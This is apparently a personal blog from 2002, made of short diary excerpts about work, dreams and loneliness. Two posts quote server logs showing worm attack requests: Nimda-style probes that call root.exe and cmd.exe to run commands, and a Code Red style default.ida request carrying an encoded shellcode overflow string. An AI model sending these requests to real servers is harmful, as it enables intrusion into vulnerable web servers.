no posts from out mystery guest today.. i see from the server logs she came by at around 3, read 3 posts, then left.. hmm, perhaps she is jenny, and saw my post saying it wasn’t her, and got mad? who knows…

so, jr, tell me what’s been drifting around in that fucked up psyche of yours?
well doc, there’s only a few things occupying my thoughts right now.
A) work. i’m not sure that i belong at cormine. i don’t share the same attitude about business or the knowledge of corporate matters as everyone else there. i just […]

weee!

brief recap-
work is going good. i still feel a bit out of place here, but i hope that’ll change soon. it’s mostly my fault, as anyone who knows me knows it takes a while for me to warm up to people. i’ve been playing the silent bob role since we moved over… i sent bobbi […]

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The me I see in me…

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super troopers!!!1

who, praytell, is the mysterious me? how does s/he know me? the suspense is killing me. who do i know that uses sprint? don’t the school systems use sprint as an ISP? floris, find this person for me.
also, just a little something i found on [H]ardOCP’s forum:

today on the way to work, as i was turning onto the road that my office is on, my car starts making this weird noise. it sounded like locusts chirping. it got progressivley louder as i sped up. i went the whole day not thinking about it, hoping it was just a fluke… i left, […]

Some creative people…of predominately schizoid or depressive temperaments…use their creative capacities in a defensive way. If creative work protects a man from mental illness, it is small wonder that he pursues it with avidity. The schizoid state…is characterized by a sense of meaninglessness and futility. For most people, interaction with others provides most of what […]

strange dream last night.. i was at my old house in churchland, and i was supposed to be going to busch gardens with a guy i used to be good friends with and a girl i can’t remember the name of. before we were supposed to leave, i leaned into my room through the window […]

i’ve been pretty active over at deviantart lately… you should go check it out:
my gallery @ deviantart

i should read my server logs more often. now the canadians are joining in…
64.5.224.8 - - [05/Feb/2002:20:16:44 -0500] “GET /scripts/root.exe?/c+dir HTTP/1.0″ 404 210 “-” “-”
64.5.224.8 - - [05/Feb/2002:20:16:45 -0500] “GET /MSADC/root.exe?/c+dir HTTP/1.0″ 404 208 “-” “-”
64.5.224.8 - - [05/Feb/2002:20:16:46 -0500] “GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0″ 404 218 “-” “-”
64.5.224.8 - - [05/Feb/2002:20:16:46 -0500] “GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0″ 404 […]

russians are trying to hack me:
217.23.87.39 - - [05/Feb/2002:06:21:44 -0500] “GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%
ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%
u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0″ 400 252 “-” “-”

madness encroaches. i keep picking at this thing on my lip.. today i ripped lots of skin off of it. i’m not sure what i make of life anymore… it’s eroded into a lonely little drudge through time, more bad than good, more sad than happy, and no one to share either of those emotions […]

it’s snowing again? wasn’t it just like 70 degrees the other day???

lately i’ve been having the same type of dream over and over.. sometimes 3 or 4 times a night, and they always follow the same pattern. i date a famous woman, and actress or singer or something, she tells me she loves me, i am skeptical, then she treats me like shit and the dream […]

sometimes it feels like it’s choking you, ya know? like it’s enveloping you and forcing itself into you, tainting your thoughts and controling your deeds.

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